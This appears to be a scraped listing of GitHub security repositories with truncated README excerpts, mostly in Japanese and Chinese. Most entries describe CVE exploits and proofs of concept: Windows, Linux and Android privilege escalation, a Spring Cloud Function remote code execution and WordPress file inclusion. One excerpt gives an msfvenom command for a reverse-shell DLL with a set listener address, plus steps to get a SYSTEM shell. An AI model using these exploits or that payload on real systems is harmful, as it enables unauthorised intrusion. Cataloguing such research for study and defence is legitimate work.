CVE-2022-22963-Exploit

CVE-2022-22963 エクスプロイト このリポジトリには、Spring Cloud Function バージョン 3.1.6、3.2.2、および古いサポート対象外バージョンで見つかった CVE-2022-22963 脆弱性に対する Rust ベースのエクスプロイトが含まれています。この脆弱性により、ルーティング式として使用される特別に細工された Spring Expression SpEL を介して、リモートでコードが実行され、ローカルリソースにアクセスされる可能性があります。 説明 Spring Cloud Function バージョン...

NimNightmare

CVE-2021-1675 LPE PoC これは私のエクスプロイトではありません！ただnimのwinimライブラリで遊んでみたかっただけです。 使い方 DLLペイロードを msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll で生成し、攻撃機でハンドラーを起動します。 被害者機で .\nimnightmare.exe を実行し、SYSTEMとしてシェルを取得します。...

root-exploit-pixel3

Pixel 3 ファミリー向けルートエクスプロイト このフォルダには、CVE-2020-0041 向けの bluefrostsecurity PoC を改変したローカル権限昇格エクスプロイトが含まれています。このエクスプロイトは SELinux を無効化し、ルートシェルを起動します。 エクスプロイトは 2020 年 2 月のファームウェア QQ1A.200205.002 を実行している Pixel 3 デバイス向けにハードコードされたオフセットで提供されています。以下の手順に従うことで、任意の Pixel 3 デバイスに適応させることができます。...

CVE-2019-0708-Exploit

CVE-2019-0708-Exploit CVE-2019-0708 を使用して Windows 10 システムでローカル権限を昇格させる...

secpub

Cisco Nexus OS NX-OS - コマンド"インジェクション"/サニタイゼーションの問題。 発見者: Peter Adkins [email protected] アクセス: ローカル; 認証されたアクセスが必要です。 追跡および識別子: CVE - CVE-2011-2569 影響を受けるOS: Cisco Nexus OS NX-OS ベンダーの関与: 通知済み - 一部のプラットフォーム向けのパッチが利用可能/実装済み。 影響を受けるシステム/プラットフォーム: Nexus 7000 Nexus 5000 Nexus 4000 Nexus 3000 Nexus...

CVE-2020-16898-EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP リモートコード実行脆弱性 EXP&POC 再現 forforever：https://www.cnblogs.com/forforever/p/13846077.html POC CVE-2020-16898Checker-poc コマンド： 管理者として PowerShell/CMD を起動 Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 EXP cve-2020-16898-exp2...

CVE-2026-43284

🚨 CVE-2026-43284 - Dirty Frag 🚨 通用 Linux 内核本地权限提升 📋 概述 Dirty Frag （又称 Copy Fail 2 ）是 Linux 内核中一个影响重大的本地权限提升漏洞。它允许无特权的本地用户 在受影响的系统上获得 root 权限。 由 Hyunwoo Kim（@v4bel） 发现，是早期 Copy Fail 漏洞的后续版本。 关键细节 CVE ：CVE-2026-43284（xfrm/ESP）+ CVE-2026-43500（RxRPC） 严重性 ：高（CVSS 7.8） 利用方式 ：可靠、确定性高，单条命令即可获得 root 披露日期...

CVE-2025-2294

CVE-2025-2294 🚨 CVE-2025-2294 - WordPress向けKubio AI Page Builderにおけるローカルファイルインクルージョン（LFI）脆弱性 🧱 🔍 概要 CVE-2025-2294 は、WordPress用Kubio AI Page Builderプラグイン（バージョン2.5.1まで）に影響を与える深刻な🔥ローカルファイルインクルージョン（LFI）脆弱性です。この欠陥により、認証されていないリモートの攻撃者 👾が、kubio-site-edit-iframe-classic-template...

SmmExploit

SmmExploit 这是针对 CVE-2021-26943 的一份报告和利用代码，该漏洞是华硕 UX360CA BIOS 版本 303 中存在的内核到 SMM 本地权限提升漏洞。该问题已在 版本 304 中修复。 问题描述 摘要 UX360CA BIOS 版本 303 包含 3 个存在漏洞的模块，允许具有 ring0 权限的攻击者覆盖几乎任意物理内存（包括 SMRAM），并在 SMM 中执行任意代码。 这些模块的标识如下： 名称| GUID| SHA256 ---|---|--- UsbRt| 04EAAAA1-29A1-11D7-8838-00500473D4EB|...

LPE---CVE-2020-0796

使用方法: Pythonがインストールされていることを確認し、poc.pyを実行してください。 Windows カーネル Write-What-Where CVE-2020-0796 エクスプロイト 教育および企業環境でのテストのみを目的としています。 MasterSpl0itは本コードについて一切の責任を負いません。自己責任で使用してください。 書き直されたCVE-2020-0796 ローカル権限昇格 POC。 Alexandre Beaulieuの成果に基づく: https://gist.github.com/alxbl/2fb9a0583c5b88db2b4d1a7f2ca5cdd...

CVE-2023-28252-Compiled-exe

CVE-2023-28252-Compiled-exe Fortra の優れた CVE-2023-2852 権限昇格エクスプロイトを改変したものです。Windows 11 21H2 の clfs.sys バージョン 10.0.22000.1574 で動作します。また、Windows 10 21H2、Windows 10 22H2、Windows 11 22H2、Windows Server 2022 でも動作します。 本バージョンは元の機能を保持しつつ、実行するバイナリを引数として指定できるオプションを提供します。Visual Studio が手元にない場合に便利です。 説明...

CVE-2024-24919

CVE-2024-24919 このプロジェクトは、CVE-2024-24919 をよりよく研究するための自動化を作成することを目的としています。 api.py : 脆弱性のある可能性のあるIPを収集します。 CVE-2024-24919.py : IPファイルとディレクトリファイルを元にブルートフォースを実行します。 worldListLFI.txt : Linuxのディレクトリ一覧。 使用方法 以下のコマンドを使用して、このリポジトリをあなたのマシンにクローンしてください： git clone...

CVE-2025-4380

CVE-2025-4380 - Ads Pro プラグイン = 4.89 - ローカルファイルインクルージョン LFI エクスプロイト 説明 このPythonエクスプロイトは、WordPress用の Ads Pro プラグイン ≤ 4.89 をターゲットとし、bsapreviewcallback AJAX アクションを介した ローカルファイルインクルージョン LFI 脆弱性を悪用します。 認証されていない攻撃者はこれを悪用して、サーバーのファイルシステムから任意のファイル（/etc/passwd、wp-config.php などの機密ファイルを含む）を読み取ることができます。...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPEエクスプロイト テストサポート: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32,Win2003 x64 元のexpはxp、2003をサポートしていませんでした。現在のコードは元のコードに基づいて、これら2つのシステムのサポートを追加しています。 使い方 CVE-2018-8120 exploit by...

agent-vault-proxy

Keys on the Wire あなたのAIエージェントはAPIキーを一切保持しません。プレースホルダーを送信し、実際の秘密情報は通信経路上で差し替えられます。 資格情報スティーラー（Shai-Huludなど）やプロンプトインジェクションされたエージェントによる秘密情報の漏洩を防ぎます。侵害されたエージェントには奪うものが何もありません。 仕組み 1. エージェントはキーではなく プレースホルダー を含むリクエストを送信します。 2. Keys on the Wireは、転送中にボールトから実際の秘密情報を差し替えます。 3...

nibble

Nibble は、速度と使いやすさに重点を置いたローカルネットワークスキャン用の CLI ツールです。 ネットワークインターフェースを選択すると、ローカルサブネットがスキャンされます。 ホスト、ハードウェアメーカー、開いているポートとそのサービスを一覧表示します。 ⚡ 超高速、軽量スレッドを使用したスキャン 🔒 安全、管理者権限や特別な権限は不要 🥷 ステルス性、スキャン開始前にネットワーク信号を発しない クリック可能なインターフェース、マウスを使ってナビゲートとスキャン 🖱️ または ↑/↓/←/→、w/s/a/d、h/j/k/l で操作 状況に応じたヘルプ画面、ホットキー: ?...

Threat-Intelligence-Hunter

TIH is an intelligence tool that helps you in searching for IOCs across multiple openly available security feeds and some well known APIs. The idea behind the tool is to facilitate searching and storing of frequently added IOCs for creating your own set of indicators. Threat-Intelligence-Hunter...

CVE-2023-2640-3262-PoC

CVE-2023-2640/3262-PoC Ubuntu OverlayFSのローカル特権昇格脆弱性に対する最小限のPoCです。 CVE一覧 CVE-2023-2640 – OverlayFSの権限処理の問題 CVE-2023-3262 – OverlayFSのケーパビリティ昇格の問題 ファイル CVE-2023-2640.sh – 基本的なOverlayFSの動作テスト CVE-2023-3262.sh – ケーパビリティ昇格のPoC exploitchain.sh – 結合エクスプロイト root 必要条件 脆弱なUbuntuシステム ローカルアクセス unshare, setca...

h8mail

h8mail は、さまざまな侵害および偵察サービス、またはTroy Huntの「Collection1」や悪名高い「Breach Compilation」トレントなどのローカル侵害を使用する、電子メールOSINTおよび侵害ハンティングツールです。 📖 目次 目次 機能 API 使用法 使用例 謝辞とクレジット 関連するオープンソースプロジェクト 🍊 機能 🔎 メールパターンマッチング（正規表現）。他のツールの出力からの読み取りに便利 🌍 URLを渡してページ内のメールを直接検索・ターゲット化 💫 ローカル検索のための緩いパターン（"john.smith", "evilcorp"） 📦...

h8mail

h8mail is an email OSINT and breach hunting tool using different breach and reconnaissance services, or local breaches such as Troy Hunt's "Collection1" and the infamous "Breach Compilation" torrent. 📖 Table of Content Table of Content Features APIs Usage Usage examples Thanks & Credits Related...